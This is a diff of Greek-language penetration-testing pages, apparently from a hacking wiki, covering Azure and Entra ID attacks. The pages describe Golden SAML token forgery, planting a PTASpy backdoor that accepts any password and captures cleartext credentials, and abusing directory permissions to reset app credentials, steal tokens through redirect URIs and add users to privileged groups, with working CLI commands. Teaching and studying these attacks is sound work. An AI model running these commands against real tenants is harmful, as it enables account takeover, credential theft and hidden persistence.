@@ -20,16 +21,14 @@
- Πάροχος Ταυτότητας (IdP)
- Πάροχος Υπηρεσιών (SP)
(Εικόνες από https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
1. Αρχικά, μια εφαρμογή (Πάροχος Υπηρεσιών ή SP, όπως το AWS console ή το vSphere web client) προσπελάζεται από έναν χρήστη. Αυτό το βήμα μπορεί να παρακαμφθεί, οδηγώντας τον πελάτη απευθείας στον IdP (Πάροχος Ταυτότητας) ανάλογα με την συγκεκριμένη υλοποίηση.
2. Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημείωσης Ασφάλειας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP.
2. Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημειώσεων Ασφαλείας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP.
3. Ο IdP αναλαμβάνει, αυθεντικοποιώντας τον χρήστη. Μετά την αυθεντικοποίηση, μια SAMLResponse διαμορφώνεται από τον IdP και προωθείται στον SP μέσω του χρήστη.
4. Τέλος, ο SP αξιολογεί την SAMLResponse. Εάν επικυρωθεί επιτυχώς, υποδηλώνοντας μια σχέση εμπιστοσύνης με τον IdP, ο χρήστης αποκτά πρόσβαση. Αυτό σηματοδοτεί την ολοκλήρωση της διαδικασίας σύνδεσης, επιτρέποντας στον χρήστη να χρησιμοποιήσει την υπηρεσία.
**Αν θέλετε να μάθετε περισσότερα για την αυθεντικοποίηση SAML και τις κοινές επιθέσεις, επισκεφθείτε:**
**Αν θέλετε να μάθετε περισσότερα για την αυθεντικοποίηση SAML και τις κοινές επιθέσεις, πηγαίνετε στο:**
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
@@ -37,7 +36,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting
- Το AD FS είναι ένα μοντέλο ταυτότητας βασισμένο σε αξιώσεις.
- AD FS είναι ένα μοντέλο ταυτότητας βασισμένο σε αξιώσεις.
- "..οι αξιώσεις είναι απλώς δηλώσεις (για παράδειγμα, όνομα, ταυτότητα, ομάδα), που γίνονται για τους χρήστες, οι οποίες χρησιμοποιούνται κυρίως για την εξουσιοδότηση πρόσβασης σε εφαρμογές βασισμένες σε αξιώσεις που βρίσκονται οπουδήποτε στο Διαδίκτυο."
- Οι αξιώσεις για έναν χρήστη γράφονται μέσα στα SAML tokens και στη συνέχεια υπογράφονται για να παρέχουν εμπιστευτικότητα από τον IdP.
- Ένας χρήστης αναγνωρίζεται από το ImmutableID. Είναι παγκοσμίως μοναδικό και αποθηκεύεται στο Azure AD.
@@ -48,7 +47,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
- Στο ADFS, η SAML Response υπογράφεται από ένα πιστοποιητικό υπογραφής token.
- Εάν το πιστοποιητικό παραβιαστεί, είναι δυνατόν να αυθεντικοποιηθεί στο Azure AD ως ΟΠΟΙΟΣΔΗΠΟΤΕ χρήστης συγχρονισμένος με το Azure AD!
- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή το MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
- Ακριβώς όπως η κακή χρήση του PTA μας, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή η MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
- Το πιστοποιητικό μπορεί να εξαχθεί από τον διακομιστή AD FS με δικαιώματα DA και στη συνέχεια μπορεί να χρησιμοποιηθεί από οποιαδήποτε μηχανή συνδεδεμένη στο Διαδίκτυο.
- Περισσότερες πληροφορίες στο [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
@@ -67,9 +66,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
#### AWS + AD FS + Golden SAML
[Οι Υπηρεσίες Ομοσπονδίας Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) είναι μια υπηρεσία της Microsoft που διευκολύνει την **ασφαλή ανταλλαγή πληροφοριών ταυτότητας** μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας.
[Υπηρεσίες Ομοσπονδίας Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) είναι μια υπηρεσία της Microsoft που διευκολύνει την **ασφαλή ανταλλαγή πληροφοριών ταυτότητας** μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας.
Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιεσδήποτε άδειες στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιεσδήποτε άδειες στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των SAML αντικειμένων**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
Οι απαιτήσεις για την εκτέλεση μιας επίθεσης golden SAML περιλαμβάνουν:
@@ -83,7 +82,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
_Μόνο τα στοιχεία με έντονη γραφή είναι υποχρεωτικά. Τα άλλα μπορούν να συμπληρωθούν κατά βούληση._
Για να αποκτήσετε το **ιδιωτικό κλειδί**, είναι απαραίτητη η πρόσβαση στον **λογαριασμό χρήστη AD FS**. Από εκεί, το ιδιωτικό κλειδί μπορεί να **εξαχθεί από το προσωπικό κατάστημα** χρησιμοποιώντας εργαλεία όπως το [mimikatz](https://github.com/gentilkiwi/mimikatz). Για να συγκεντρώσετε τις άλλες απαιτούμενες πληροφορίες, μπορείτε να χρησιμοποιήσετε το Microsoft.Adfs.Powershell snapin ως εξής, διασφαλίζοντας ότι είστε συνδεδεμένοι ως ο χρήστης ADFS:
Για να αποκτήσετε το **ιδιωτικό κλειδί**, είναι απαραίτητη η πρόσβαση στον **λογαριασμό χρήστη AD FS**. Από εκεί, το ιδιωτικό κλειδί μπορεί να **εξαχθεί από το προσωπικό κατάστημα** χρησιμοποιώντας εργαλεία όπως το [mimikatz](https://github.com/gentilkiwi/mimikatz). Για να συγκεντρώσετε τις άλλες απαιτούμενες πληροφορίες, μπορείτε να χρησιμοποιήσετε το Microsoft.Adfs.Powershell snapin ως εξής, διασφαλίζοντας ότι είστε συνδεδεμένοι ως χρήστης ADFS:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
```
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
### On-prem -> cloud
```bash
@@ -0,0 +1,29 @@
# Υβριδικές Επιθέσεις Ταυτότητας
{{#include ../../../../banners/hacktricks-training.md}}
## Εξαναγκασμός Συγχρονισμού Χρηστών Entra ID σε on-prem
Όπως αναφέρθηκε στο [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), ήταν δυνατό να αλλάξει η τιμή του **`ProxyAddress`** μέσα σε έναν χρήστη AD στο on-prem AD προσθέτοντας το email ενός διαχειριστή Entra ID και επίσης διασφαλίζοντας ότι το UPN του χρήστη στο AD και στο Entra ID ταιριάζει (αυτό είναι το Entra ID ξανά), όπως **`SMTP:admin@domain.onmicrosoft.com`**. Και αυτό θα **εξανάγκαζε τον συγχρονισμό αυτού του χρήστη** από το Entra ID στο on-prem AD, οπότε αν ο κωδικός πρόσβασης του χρήστη ήταν γνωστός, θα μπορούσε να χρησιμοποιηθεί για **πρόσβαση στον διαχειριστή που χρησιμοποιείται στο Entra ID.**
Για να συγχρονίσετε έναν νέο χρήστη από το Entra ID στο on-prem AD, οι απαιτήσεις είναι οι εξής:
- Έλεγχος των χαρακτηριστικών ενός χρήστη στο on-prem AD (ή να έχετε άδειες για να δημιουργήσετε νέους χρήστες)
- Γνωρίζετε τον χρήστη που είναι μόνο στο cloud για να συγχρονίσετε από το Entra ID στο on-prem AD
- Μπορεί επίσης να χρειαστεί να είστε σε θέση να αλλάξετε το χαρακτηριστικό immutableID από τον χρήστη Entra ID στον χρήστη on-prem AD για να κάνετε μια **σκληρή αντιστοίχιση**.
> [!CAUTION]
> Το Entra ID δεν επιτρέπει πλέον τον συγχρονισμό διαχειριστών από το Entra ID στο on-prem AD.
> Επίσης, αυτό **δεν θα παρακάμψει το MFA**.
## Αναφορές
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,19 +4,19 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η δυνατότητα pass-through authentication του Microsoft Entra επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα προσφέρει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει το κόστος της υποστήριξης IT, καθώς οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Microsoft Entra ID, αυτή η δυνατότητα επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory σας.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η πιστοποίηση μέσω Microsoft Entra επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα προσφέρει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Microsoft Entra ID, αυτή η δυνατότητα επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory σας.
Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης δεν είναι** όπως στην PHS.
Η αυθεντικοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός **authentication agent** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC).
Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC).
### Authentication flow
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Για να **συνδεθεί** ο χρήστης ανακατευθύνεται στο **Azure AD**, όπου στέλνει το **όνομα χρήστη** και τον **κωδικό πρόσβασης**
2. Οι **διαπιστευτήρια** είναι **κρυπτογραφημένα** και τοποθετούνται σε μια **ουρά** στο Azure AD
3. Ο **τοπικός authentication agent** συλλέγει τα **διαπιστευτήρια** από την ουρά και τα **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Pass-through authentication agent"** ή **PTA agent.**
2. Τα **διαπιστευτήρια** είναι **κρυπτογραφημένα** και τοποθετούνται σε μια **ουρά** στο Azure AD
3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τα **διαπιστευτήρια** από την ουρά και τα **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης μέσω διέλευσης"** ή **πράκτορας PTA.**
4. Ο **πράκτορας** **επικυρώνει** τα διαπιστευτήρια με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη.
> [!WARNING]
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Αν έχετε **admin** πρόσβαση στον **Azure AD Connect server** με τον **PTA** **agent** να τρέχει, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε ένα backdoor** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για την αυθεντικοποίηση):
Αν έχετε **admin** πρόσβαση στον **Azure AD Connect server** με τον **PTA** **agent** να τρέχει, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε ένα backdoor** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για αυθεντικοποίηση):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
@@ -80,7 +80,7 @@ Remove-AADIntPTASpy # Remove the backdoor
> Όταν η υπηρεσία AzureADConnectAuthenticationAgent επανεκκινείται, το PTASpy “απελευθερώνεται” και πρέπει να επανεγκατασταθεί.
> [!CAUTION]
> Μετά την απόκτηση **GA privileges** στο cloud, είναι δυνατό να **καταχωρηθεί ένας νέος PTA agent** και μπορεί να **επανεπαναληφθούν** τα **προηγούμενα** βήματα για **αυθεντικοποίηση χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτηθούν οι κωδικοί πρόσβασης σε καθαρό κείμενο.**
> Αφού αποκτηθούν **GA privileges** στο cloud, είναι δυνατό να **καταχωρηθεί ένας νέος PTA agent** και μπορεί να **επανεπαναληφθούν** τα **προηγούμενα** βήματα για **αυθεντικοποίηση χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτηθούν οι κωδικοί πρόσβασης σε καθαρό κείμενο.**
### Seamless SSO
@@ -1,30 +0,0 @@
# Az- Συγχρονισμός Νέων Χρηστών
{{#include ../../../../banners/hacktricks-training.md}}
## Συγχρονισμός χρηστών AzureAD στο on-prem για αναβάθμιση από on-prem σε AzureAD
Για να συγχρονίσετε έναν νέο χρήστη f**από το AzureAD στο on-prem AD** αυτές είναι οι απαιτήσεις:
- Ο **χρήστης AzureAD** πρέπει να έχει μια διεύθυνση proxy (ένα **mailbox**)
- Δεν απαιτείται άδεια
- Δεν πρέπει **να έχει ήδη συγχρονιστεί**
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Όταν βρεθεί ένας χρήστης όπως αυτοί στο AzureAD, για να **έχετε πρόσβαση σε αυτόν από το on-prem AD** χρειάζεται απλώς να **δημιουργήσετε έναν νέο λογαριασμό** με το **proxyAddress** το SMTP email.
Αυτόματα, αυτός ο χρήστης θα **συγχρονιστεί από το AzureAD στον on-prem AD χρήστη**.
> [!CAUTION]
> Σημειώστε ότι για να εκτελέσετε αυτήν την επίθεση **δεν χρειάζεστε Domain Admin**, χρειάζεστε απλώς δικαιώματα για **δημιουργία νέων χρηστών**.
>
> Επίσης, αυτό **δεν θα παρακάμψει το MFA**.
>
> Επιπλέον, έχει αναφερθεί ότι **ο συγχρονισμός λογαριασμών δεν είναι πλέον δυνατός για λογαριασμούς διαχειριστών**.
## References
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -7,9 +7,9 @@
## Ρόλοι
### Ρόλος: Διαχειριστής Ρόλων με Προνομία <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Ρόλος: Διαχειριστής Ρόλων Υψηλών Δικαιωμάτων <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να μπορεί να αναθέτει ρόλους σε κύριους και να δίνει περισσότερες άδειες σε ρόλους. Και οι δύο ενέργειες θα μπορούσαν να καταχρηστούν για να κλιμακωθούν τα προνόμια.
Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να μπορεί να αναθέτει ρόλους σε κύριους και να δίνει περισσότερες άδειες σε ρόλους. Και οι δύο ενέργειες θα μπορούσαν να καταχρηστούν για να κλιμακωθούν τα δικαιώματα.
- Ανάθεση ρόλου σε χρήστη:
```bash
@@ -61,7 +61,7 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Αυτό επιτρέπει τις ίδιες ενέργειες όπως το `applications/credentials/update`, αλλά περιορισμένο σε εφαρμογές μίας μόνο διεύθυνσης.
Αυτό επιτρέπει τις ίδιες ενέργειες όπως το `applications/credentials/update`, αλλά περιορίζεται σε εφαρμογές μίας μόνο διεύθυνσης.
```bash
az ad app credential reset --id <appId> --append
```
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Ένας επιτιθέμενος μπορεί να προσθέσει μια URI ανακατεύθυνσης σε εφαρμογές που χρησιμοποιούνται από τους χρήστες του ενοικιαστή και στη συνέχεια να μοιραστεί μαζί τους διευθύνσεις URL σύνδεσης που χρησιμοποιούν τη νέα διεύθυνση ανακατεύθυνσης προκειμένου να κλέψει τα tokens τους. Σημειώστε ότι αν ο χρήστης ήταν ήδη συνδεδεμένος στην εφαρμογή, η αυθεντικοποίηση θα είναι αυτόματη χωρίς να χρειάζεται ο χρήστης να αποδεχτεί οτιδήποτε.
Ένας επιτιθέμενος μπορεί να προσθέσει μια URI ανακατεύθυνσης σε εφαρμογές που χρησιμοποιούνται από τους χρήστες του ενοικιαστή και στη συνέχεια να μοιραστεί μαζί τους διευθύνσεις URL σύνδεσης που χρησιμοποιούν τη νέα διεύθυνση ανακατεύθυνσης προκειμένου να κλέψει τα διακριτικά τους. Σημειώστε ότι αν ο χρήστης ήταν ήδη συνδεδεμένος στην εφαρμογή, η αυθεντικοποίηση θα είναι αυτόματη χωρίς να χρειάζεται ο χρήστης να αποδεχτεί οτιδήποτε.
Σημειώστε ότι είναι επίσης δυνατό να αλλάξετε τις άδειες που ζητά η εφαρμογή προκειμένου να αποκτήσετε περισσότερες άδειες, αλλά σε αυτή την περίπτωση ο χρήστης θα χρειαστεί να αποδεχτεί ξανά την προτροπή που ζητά όλες τις άδειες.
```bash
@@ -95,7 +95,7 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Ο νέος κωδικός πρόσβασης που δημιουργείται δεν θα εμφανίζεται στην κονσόλα ιστού, οπότε αυτό θα μπορούσε να είναι ένας κρυφός τρόπος για να διατηρηθεί η επιμονή σε έναν υπηρεσιακό κύριο.\
> Ο νέος κωδικός πρόσβασης που δημιουργείται δεν θα εμφανίζεται στην κονσόλα ιστού, οπότε αυτό θα μπορούσε να είναι ένας κρυφός τρόπος για να διατηρήσετε την επιμονή σε έναν υπηρεσιακό κύριο.\
> Από το API μπορούν να βρεθούν με: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Αν λάβετε το σφάλμα `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` είναι επειδή **δεν είναι δυνατή η τροποποίηση της ιδιότητας passwordCredentials** του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (`microsoft.directory/applications/allProperties/update`) που σας επιτρέπει να εκτελέσετε:
@@ -136,7 +136,7 @@ az ad sp owner list --id <spId>
Σημειώστε ότι για αυτή την τεχνική, ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες προκειμένου να αναλάβει τον ενεργοποιημένο υπηρεσιακό πρίγκιπα.
```bash
bashCopy code# Disable
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
@@ -164,17 +164,25 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### Εφαρμογές Υπερβάθμισης Δικαιωμάτων
**Όπως εξηγείται σε [αυτή την ανάρτηση](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, ήταν πολύ συνηθισμένο να βρίσκουμε προεπιλεγμένες εφαρμογές που έχουν **API permissions** τύπου **`Application`** ανατεθειμένες σε αυτές. Μια API Permission (όπως ονομάζεται στην κονσόλα Entra ID) τύπου **`Application`** σημαίνει ότι η εφαρμογή μπορεί να έχει πρόσβαση στο API χωρίς συμφραζόμενα χρήστη (χωρίς να έχει συνδεθεί χρήστης στην εφαρμογή), και χωρίς να χρειάζεται ρόλους Entra ID για να το επιτρέψει. Επομένως, είναι πολύ συνηθισμένο να βρίσκουμε **υψηλά προνομιακές εφαρμογές σε κάθε tenant Entra ID**.
Έτσι, αν ένας επιτιθέμενος έχει οποιαδήποτε άδεια/ρόλο που επιτρέπει να **ενημερώσει τα διαπιστευτήρια (μυστικό ή πιστοποιητικό) της εφαρμογής**, ο επιτιθέμενος μπορεί να δημιουργήσει ένα νέο διαπιστευτήριο και στη συνέχεια να το χρησιμοποιήσει για να **αυθεντικοποιηθεί ως η εφαρμογή**, αποκτώντας όλα τα δικαιώματα που έχει η εφαρμογή.
Σημειώστε ότι το αναφερόμενο blog μοιράζεται κάποιες **API permissions** κοινών προεπιλεγμένων εφαρμογών της Microsoft, ωστόσο λίγο μετά από αυτή την αναφορά, η Microsoft διόρθωσε αυτό το ζήτημα και τώρα δεν είναι δυνατή η σύνδεση ως εφαρμογές της Microsoft πια. Ωστόσο, είναι ακόμα δυνατό να βρείτε **προσαρμοσμένες εφαρμογές με υψηλά προνόμια που θα μπορούσαν να καταχραστούν**.
---
## Ομάδες
### `microsoft.directory/groups/allProperties/update`
Αυτή η άδεια επιτρέπει την προσθήκη χρηστών σε προνομιούχες ομάδες, οδηγώντας σε κλιμάκωση προνομίων.
Αυτή η άδεια επιτρέπει την προσθήκη χρηστών σε προνομιακές ομάδες, οδηγώντας σε υπερβάθμιση δικαιωμάτων.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Σημείωση**: Αυτή η άδεια εξαιρεί τις ομάδες που μπορούν να ανατεθούν ρόλοι Entra ID.
**Σημείωση**: Αυτή η άδεια εξαιρεί τις ομάδες ρόλων που μπορούν να ανατεθούν στο Entra ID.
### `microsoft.directory/groups/owners/update`
@@ -187,13 +195,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιακές ομάδες που μπορούν να παραχωρήσουν αυξημένη πρόσβαση.
Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιούχες ομάδες που μπορούν να παραχωρήσουν αυξημένη πρόσβαση.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα μέλους σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες για να συμπεριληφθεί σε προνομιούχες ομάδες χωρίς ρητή προσθήκη.
Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα μέλους σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες για να συμπεριλάβει τον εαυτό του σε προνομιούχες ομάδες χωρίς ρητή προσθήκη.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -208,7 +216,7 @@ az rest --method PATCH \
### Δυναμικές Ομάδες Privesc
Ενδέχεται να είναι δυνατό για τους χρήστες να αναβαθμίσουν τα δικαιώματά τους τροποποιώντας τις δικές τους ιδιότητες για να προστεθούν ως μέλη δυναμικών ομάδων. Για περισσότερες πληροφορίες, ελέγξτε:
Ενδέχεται να είναι δυνατή η κλιμάκωση δικαιωμάτων από τους χρήστες τροποποιώντας τις δικές τους ιδιότητες για να προστεθούν ως μέλη δυναμικών ομάδων. Για περισσότερες πληροφορίες, ελέγξτε:
{{#ref}}
dynamic-groups.md
@@ -218,7 +226,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Αυτή η άδεια επιτρέπει την επαναφορά κωδικού πρόσβασης σε μη διαχειριστές χρήστες, επιτρέποντας σε έναν πιθανό επιτιθέμενο να αναβαθμίσει τα δικαιώματά του σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους.
Αυτή η άδεια επιτρέπει την επαναφορά κωδικού πρόσβασης σε μη διαχειριστές χρήστες, επιτρέποντας σε έναν πιθανό επιτιθέμενο να κλιμακώσει δικαιώματα σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
@@ -242,7 +250,7 @@ az rest --method PATCH \
```
## Πολιτικές Προσβασιμότητας με Όρους & Παράκαμψη MFA
Κακώς ρυθμισμένες πολιτικές προσβασιμότητας με όρους που απαιτούν MFA θα μπορούσαν να παρακαμφθούν, ελέγξτε:
Λανθασμένα ρυθμισμένες πολιτικές προσβασιμότητας με όρους που απαιτούν MFA θα μπορούσαν να παρακαμφθούν, ελέγξτε:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Αυτή η άδεια επιτρέπει στους επιτιθέμενους να αναθέτουν τους εαυτούς τους ως ιδιοκτήτες συσκευών για να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα συγκεκριμένων συσκευών.
Αυτή η άδεια επιτρέπει στους επιτιθέμενους να αυτοδιορίζονται ως κάτοχοι συσκευών για να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα συγκεκριμένα για τη συσκευή.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -263,7 +271,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Αυτή η άδεια επιτρέπει στους επιτιθέμενους να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν τις πολιτικές ασφαλείας.
